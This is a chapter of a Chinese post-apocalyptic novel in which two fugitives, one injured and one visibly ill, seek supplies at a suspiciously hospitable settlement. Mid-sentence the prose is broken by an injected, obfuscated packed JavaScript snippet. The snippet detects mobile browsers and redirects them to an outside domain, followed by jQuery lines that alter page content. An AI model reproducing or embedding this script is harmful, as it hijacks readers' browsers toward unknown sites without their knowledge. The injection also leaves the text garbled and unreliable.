黎明前的荒野是最危险的时刻。
齐岳蹲在一块风化岩后，望远镜扫视着前方山谷。三天来，他和柯然像幽灵般穿梭在废土上，避开主路，不留下任何痕迹。但疲惫和饥饿正在侵蚀他们的警惕性。
“看到什么？”柯然在他身旁低声问，研究员的呼吸在寒冷空气中形成白雾，脸色比昨天更加苍白。
齐岳摇头，放下望远镜，“暂时安全，但再往前走就是纯净派的巡逻区了。”
17号避难所位于东边山脉中，根据艾娃提供的情报，现在被纯净派控制。这个极端组织视所有基因改造为亵渎，会处决任何可疑的变异者，包括像柯然这样明显的标记基因携带者。
“我们需要补给。”柯然搓了搓手，指节泛着不健康的蓝色，“你的伤口也需要处理。”
齐岳的左臂在铁锈镇爆炸时被弹片擦伤，本是小伤，但在废土上，任何伤口都可能致命。他不想承认，但柯然说得对，他们需要帮助。
“东北方五公里应该有个定居点。”齐岳回忆着地图，“如果运气好，还没被纯净派清剿。”
柯然点头，突然剧烈咳嗽起来。他迅速用手帕捂住嘴，但齐岳还是看到了那抹刺眼的蓝色。自从被“新生”猎手所伤，研究员的状况时好时坏，最近三天恶化明显。
“你撑不到17号，”齐岳直言不讳，“我们需要找个地方让你恢复。”
柯然苦笑，“现在关心起我的健康了？”自从铁锈镇的真相揭露后，两人之间一直保持着一种冰冷的礼貌，像两个被迫同行的陌生人而非伙伴。
齐岳没有回应，只是起身背上行囊。他不再信任柯然，但某种更深的本能，也许是那个该死的基因链接，让他无法弃研究员于不顾。
两人在晨光中继续前进，齐岳的“新视觉”越来越敏锐，现在甚至能短暂地看到生物体周围的热辐射模式。柯然的能量场呈现出病态的蓝绿色波动，时强时弱，像接触不良的电路。
中午时分，他们看到了定居点的轮廓，十几间简陋木屋围着一口井，外围是粗糙的木栅栏。没有守卫，烟囱里飘着炊烟，看起来平静得不像废土上的社区。
“太安静了，”齐岳皱眉，“可能有埋伏。”
柯然闭眼专注了几秒，“我感知到……大约二十种生命体征。没有武器运转的声音。应该只是普通农民。”
齐岳仍不放心，但柯然的状态容不得挑剔。他们谨慎地接近定居点，双手远离武器以示友好。
最先注意到他们的是个玩耍的孩子，那男孩尖叫一声炮响中央大屋。很快，几个持猎枪的男女走出来，警惕但不敌对。
“路过需要补给。”齐岳高声说，“我们有东西交换。”
一个白发老人上下打量他们，显然是这里的领导人物，他说：“风暴猎人和他的学者朋友？欢迎，只要你们遵守我们的规矩。”
齐岳微微一惊，老人笑了，“别紧张，小伙子。老汤姆在广播里描述过你们。整个东区都知道新纪元在追捕一对搭档。”
老汤姆，这个名字像钝器击中齐岳的胸口，那个在庇护所外窥探的邻居，那个看似无害的老人，他出卖了他们。
柯然似乎也想到了同样的事，身体微微绷紧，但眼下他们没有选择，齐岳勉强点头，“我们只需要食物、药品和一夜休息，明天就走。”
村长犹豫了一下，看向柯然，“你朋友看起来不太好。我们有简易医疗室，可以帮他看看。”
这个提议好得不像真的，齐岳的直觉尖叫着警告，但柯然已经虚弱地点头致谢。他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779850|174794||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被带入定居点，村民们好奇地保持距离。齐岳注意到几个年轻人手臂上有纯净派的标记，交叉的剑与麦穗，但被刻意磨损过。
“曾经被迫加入纯净派。”村长顺着他的目光解释，“现在我们保持中立。信仰不能当饭吃。”
医疗室是间改造过的储藏室，简陋但干净。一个中年妇女走了进来，介绍自己是医生，然后低头检查了柯然的状况，眉头越皱越紧。
“真奇怪。”她低声说，“血液中有某种……金属光泽，从没见过这种情况。”
“特殊辐射病。”柯然轻描淡写地说，“有抗生素和类固醇就行。”
女医生犹豫了一下，还是给了几片药，“只能缓解症状，你需要专业治疗。”
齐岳接过药品，心中警铃大作，柯然的状况比表现出来的更糟。如果研究员死了，他可能永远找不到小萱，也弄不清真相。
安顿下来后，两人被分到一间空置的小屋。齐岳仔细检查每个角落，确认没有监听设备才稍微放松。柯然吞下药片，靠在简陋的床上闭目休息。
“老汤姆还活着。”齐岳突然说，“而且告诉了全世界我们的行踪。”
柯然没有睁眼，“不全是他的错。新纪元有办法让人开口。”
“你倒是宽容。”齐岳冷笑，“对一个差点害死你的人。”
“我理解被迫背叛的滋味。”柯然的声音带着奇怪的重量，暗示着不为人知的往事。
齐岳正要追问，门外传来脚步声，村长站在门口，手里拿着一瓶私酿酒，“觉得你们可能需要这个，免费提供。”
酒是废土上的硬通货，如此慷慨必有蹊跷。齐岳接过酒瓶，假装感激地点头。等村长离开，他立刻检查液体，没有明显下毒痕迹，但谨慎起见，他没有喝。